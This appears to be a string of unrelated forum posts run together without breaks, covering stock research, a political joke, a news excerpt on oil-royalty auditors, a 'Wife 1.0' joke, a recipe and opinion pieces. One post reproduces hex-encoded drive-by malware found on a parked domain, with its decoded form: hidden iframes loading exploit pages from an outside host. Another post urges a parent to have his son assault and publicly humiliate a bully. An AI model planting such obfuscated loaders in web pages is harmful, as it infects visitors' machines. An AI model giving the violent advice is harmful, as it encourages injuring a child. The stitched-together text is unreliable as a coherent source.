Always liked this one better than the actual "thrill of victory" opening.
http://www.youtube.com/watch?v=3WvhviqvQ0o... For example, go to http://finance.yahoo.com and enter the symbol in the box left of the 'Get Quotes' button for any stock you're interested in and click the button. There's a profile link on the left of the page that's brought up. Clicking on that link should tell you enough about whether that company meets your criteria. Because of my trading style, I'm never looking at much more than a half dozen stocks a day so I've never considered how I'd automate this more. Offhand, maybe you could over time build a symbol list of stocks you don't want to trade based on what you've read in their profiles and then compare against the list each time you pick a stock according to your other trading related criteria.
Oh, and thanks for your kind words!

I stumbled upon a seemingly empty site. One of those where whatever it was before it is now no more
except for a domain name now offered for sale. Literally it says "This domain name is for sale. Click Here to inquire." All quite innocuous, except I notice two, rather out of place, tiny gray squares at the end of the text and wondered what they were for. When I go into the source, I see, surprisingly, two lines of 'hex-cloaked' javascript, namely: eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%73%72%63%3d%68%74%74%70%3a%2f%2f%6d%65%64%69%61%63%6f%75%6e%74%2e%6e%65%74%2f%73%74%72%6f%6e%67%2f%30%35%30%2f%20%77%69%64%74%68%3d%31%20%68%65%69%67%68%74%3d%31%3e%3c%2f%69%66%72%61%6d%65%3e%27%29%3b')); eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%73%72%63%3d%68%74%74%70%3a%2f%2f%6d%65%64%69%61%63%6f%75%6e%74%2e%6e%65%74%2f%64%6c%2f%6e%65%77%6e%65%77%2e%70%68%70%3f%61%64%76%3d%35%30%20%77%69%64%74%68%3d%31%20%68%65%69%67%68%74%3d%31%3e%3c%2f%69%66%72%61%6d%65%3e%27%29%3b')); When I decode these, they become document.write('<iframe src=http://mediacount.net/strong/050 / width=1 height=1></iframe>'); document.write('<iframe src=http://mediacount.net/dl/newnew.php?adv=50 width=1 height=1></iframe>'); Now I wonder what this is about. So I go to the first link and all I get is another page, blank except for one of those little squares. Going into the source, it's another hex-encoded line: document.write(unescape("%3c%73%74%79%6c%65%3e%20%2a%20%7b%43%55%52%53%4f%52%3a%20%75%72%6c%28%22%33%32%34%31%32%33%2e%68%74%6d%22%29%7d%20%3c%2f%73%74%79%6c%65%3e%0a%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%31%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e")); This one in turn decodes to: <style> * {CURSOR: url("324123.htm")} </style> <iframe src="exp1.htm" width="1" height="1"></iframe> I skip the CSS part and just paste the exp1.htm onto the end of link I'm now at, i.e. I now go to visit http://mediacount.net/strong/050/exp1.htm . Well, now unsurprisingly, it looks just like where I came from: a blank page with a tiny gray square. This time, though the source containly a massively longer hex string, about 16k of characters, which I won't bother to reproduce. And when decoded, it's also a much more sophisticated javascript program which tries to do nasty things like shell executes and program loads -- I haven't taken the time to study this one very closely, nor to trace out the other first link. Anyway, I have little background in any of this so really am pretty clueless as to what I've gotten into. But it doesn't look good and where it exists in one place it undoubtedly exists in others. So if anyone could shed a bit more light on what all this is and what if any needs to be done to be protected from it, I think a great many would be appreciative. Oh, and the starting URL where all this began is the now apparently defunct site http://www.erotictravel.com/ Arlen Specter: "Instead of having, uh... a subpoena, why don't we have... uh, a peanut-butter sandwich? ... yeah. Why don't we all have a nice peanut-butter sandwich with Rove and Miers? And if they won't answer any questions, we won't let them have any 7-up! That'll show 'em we mean business!"
Oh, and then he'll just let them have the 7-up anyway.

Knock him down, give him a black eye, make him feel a little pain, but above all HUMILIATE HIM by doing it in front of others and showing he won't be fucked with anymore. It's the only way to stop a bully. The resulting psychic effect will be life changing for them both. Your son will have immeasurably greater confidence and learn he doesn't have to be the fated victum and the other kid will learn there are consequences to stepping beyond social bounds.
Enroll your son in an appropriate martial arts school if his defense skills need improvement. Doing that alone will greatly show him that you do indeed understand what he's going through and know how to help. If he doesn't actually come out and say it, certainly he will instead now feel inside that he's glad he told you what's been happening.

WASHINGTON, Sept. 20 — Four government auditors who monitor leases for oil and gas on federal property say the Interior Department suppressed their efforts to recover millions of dollars from companies they said were cheating the government. More: http://www.nytimes.com/2006/09/21/business... The accusations, many of them in four lawsuits that were unsealed last week by federal judges in Oklahoma, represent a rare rebellion by government investigators against their own agency. The auditors contend that they were blocked by their bosses from pursuing more than $30 million in fraudulent underpayments of royalties for oil produced in publicly owned waters in the Gulf of Mexico. “The agency has lost its sense of mission, which is to protect American taxpayers,” said Bobby L. Maxwell, who was formerly in charge of Gulf of Mexico auditing. “These are assets that belong to the American public, and they are supposed to be used for things like education, public infrastructure and roadways.” The lawsuits have surfaced as Democrats and Republicans alike are questioning the Bush administration’s willingness to challenge the oil and gas industry. The new accusations surfaced just one week after the Interior Department’s inspector general, Earl E. Devaney, told a House subcommittee that “short of crime, anything goes” at the top levels of the Interior Department. In two of the lawsuits, two senior auditors with the Minerals Management Service in Oklahoma City said they were ordered to drop their claim that Shell Oil had fraudulently shortchanged taxpayers out of $18 million. A third auditor, also in Oklahoma City, charged that senior officials in Denver ordered him to drop his demand that two dozen companies pay $1 million in back interest. And in a suit that was filed in 2004, Mr. Maxwell charged that senior officials in Washington ordered him not to press claims that the Kerr-McGee Corporation had cheated the government out of $12 million in royalties. Last year I upgraded Girlfriend 5.0 to Wife 1.0 and noticed that the new program began unexpected child processing that took up a lot of space and valuable resources. No mention of this phenomenon was included in the product brochure. In addition, Wife 1.0 installs itself into all other programs and launches during system initialization where it monitors all other system activity.
Applications such as Pokernight 10.3 and Beerbash 2.5 no longer run, crashing the system whenever selected. I cannot seem to purge Wife 1.0 from my system. I am thinking of going back to Girlfriend 5.0 but un-install does not work on this program. Re: Failed upgrade This is a very common complaint about Wife 1.0 but is mostly due to a primary misconception. Many people upgrade from Girlfriend 5.0 to Wife 1.0 with the idea that Wife 1.0 is merely a "UTILITIES & ENTERTAINMENT" program. Wife 1.0 is an OPERATING SYSTEM and designed by its creator to run everything. WARNING DO NOT TRY TO: un-install, delete, or purge the program from the system once installed. Trying to un-install Wife 1.0 can be disasterious. Doing so may destroy your hard and/or floppy drive. Trying to un-install or remove Wife 1.0 will destroy valuable system resources. You cannot go back to Girlfriend 5.0 because Wife 1.0 is not designed to do this. Some install Girlfriend 6.0 or Wife 2.0 but end up with more problems than the original system. Please see the manual section titled Warnings - Alimony/Child Support. Others have tried to run Mistress 2.0 in the background while Wife 1.0 is running. However, this strongly not recommended. Wife 1.0 will eventually detect Mistress 2.0 causing a system conflict and non-recoverable crash because of the inability to share an I/O port. Trying to uninstall Wife 1.0 at this point is also harmful as it will first delete MSMoney files before executing a self-uninstallation. Then Mistress 2.0 will refuse to run, claiming insufficient system resources. Further with Wife 1.0 present, Mistress 2.0 will continually popup nag messages about the advantages of upgrading to Wife 2.0. Finally, please be aware the uninstall program for Mistress 2.0 is incomplete, leaving undesirable traces of the application in the system. Some users have tried to download similar products such as Fling and 1NiteStand. Often their systems have become infected with a virus. I recommend you keep Wife 1.0 and just deal with the situation. Having Wife 1.0 installed myself, I might also suggest you read the entire section regarding General Partnership Faults (GPFs). You must assume all responsibility for faults and problems that might occur. The best course of action currently is to push the apologize button then reset button as soon as lock-up occurs. The system will run smoothly as long as you take the blame for all GPFs. Wife 1.0 is a stable program but is very high maintenance. For improved operation of Wife 1.0 consider: - The add-ons Visual Dress 2.0 and Diamond Necklace 3.0 - Frequent use of Communicator 5.0 However, should you still remain unsatisfied with the performance of Wife 1.0, please keep in mind some of the features planned for the upcoming release of Wife 2.0: - A "Don't remind me again" button - A Minimize button - An install shield feature that allows Wife 2.0 to be installed with the option to uninstall at any time without the loss of cache and other system resources. - An option to run the network driver in promiscuous mode giving the systems hardware probe feature greater use. But a conspiracy, like any other account of events, is not something you simply 'believe' in as an act of faith. Its validity can only be supported by affirming evidence of itself rather than just evidence of gaps or flaws in the 'main stream' theory. A whackjob posits conspiracies without regard, consideration, need, or even the slightest care, for such evidence.

I make it myself. Here's how:
Chop up a few ounces of chicken or pork. stir fry in an electric wok with about 2 tbl cooking oil add two eggs and scramble chop and add one white onion half a large carrot half a medium cucumber one tomato 2 cups cabbage 2 more tbl cooking oil mix and stir fry all that together then add 2 cups cooked white rice 1 or more tbl chili powder mix and stir fry the whole lot douse with lime juice Evolution versus Intelligent Design. One's an actual time-tested scientific theory with vast amounts of scientific evidence to support it, and the other is bereft of anything but a pseudo-facade of science-like jargon. And yet in the most recent 'controversy' they were given essentially equal weight by the main stream media all in some bizarre, hopelessly clueless effort to achieve 'balance.'

It helps me to sleep faster especially if I'm exhausted but still keyed up or too stressed to easily relax.
